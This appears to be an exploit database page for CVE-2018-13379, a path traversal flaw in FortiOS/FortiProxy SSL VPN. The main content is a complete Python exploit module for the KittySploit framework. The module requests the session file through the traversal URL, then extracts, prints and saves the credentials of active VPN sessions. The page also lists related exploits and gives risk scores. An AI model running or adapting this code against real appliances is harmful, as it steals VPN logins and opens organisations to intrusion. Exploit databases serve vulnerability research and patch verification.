Lucene search
+L

FortiOS SSL VPN Credential Leak (CVE-2018-13379)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Path traversal in FortiOS or FortiProxy SSL VPN web portal allows credential leak.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
14 Dec 202012:17
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
11 Aug 201909:44
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
23 May 202613:25
–githubexploit
githubexploit
GithubExploit
Exploit for Server-Side Request Forgery in Microsoft
27 Jan 202611:39
–githubexploit
githubexploit
GithubExploit
MCATester
24 Jun 202605:32
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
5 Feb 202619:12
–githubexploit
githubexploit
GithubExploit
FortiGate-FortiWeb-Multi-Exploit-Extractor
14 May 202614:07
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Vmware Cloud_Foundation
27 Jan 202612:00
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
30 Nov 202008:39
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Fortinet Fortiproxy
19 Nov 202021:22
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FortiOS SSL VPN session credential leak (CVE-2018-13379)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'FortiOS SSL VPN Credential Leak (CVE-2018-13379)',
        'description': (
            'Exploits CVE-2018-13379 path traversal in FortiOS/FortiProxy SSL VPN web portal '
            'to download /dev/cmdb/sslvpn_websession and extract active session credentials.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-13379'],
        'platform': Platform.MULTI,
        'references': [
            'https://fortiguard.com/advisory/FG-IR-18-384',
            'https://nvd.nist.gov/vuln/detail/CVE-2018-13379',
        ],
        'tags': ['fortios', 'fortinet', 'fortiproxy', 'lfi', 'credential-leak', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access', 'data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials', 'risk_signals'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2018_13379_detect'],
            },
        },
    }

    traversal_path = OptString(
        '/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession',
        'Path traversal URL',
        required=False,
        advanced=True,
    )
    output_file = OptString('', 'Local file to save leaked session blob', required=False)

    _SESSION_RE = re.compile(
        r'([A-Za-z0-9._@-]+,[A-Za-z0-9+/=]{8,},[^,\n\r]+)',
    )

    def check(self):
        path = str(self.traversal_path or '').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': 'Traversal path did not return 200', 'confidence': 'medium'}
        body = r.text or ''
        if re.search(r'^var fgt_lang =', body) or self._SESSION_RE.search(body):
            return {'vulnerable': True, 'reason': 'SSL VPN session file leaked', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No session markers in response', 'confidence': 'low'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        path = str(self.traversal_path or '').strip()
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        body = (r.text or '') if r else ''
        sessions = self._SESSION_RE.findall(body)
        if sessions:
            print_success(f'Extracted {len(sessions)} session line(s)')
            for line in sessions[:20]:
                print_status(line[:200])
        else:
            print_success(f'Leaked {len(body)} bytes (parse manually)')
            print_status(body[:3000])
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Saved to {out}')
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 25
CVSS 3.19.1 - 9.8
EPSS0.99999
SSVC
1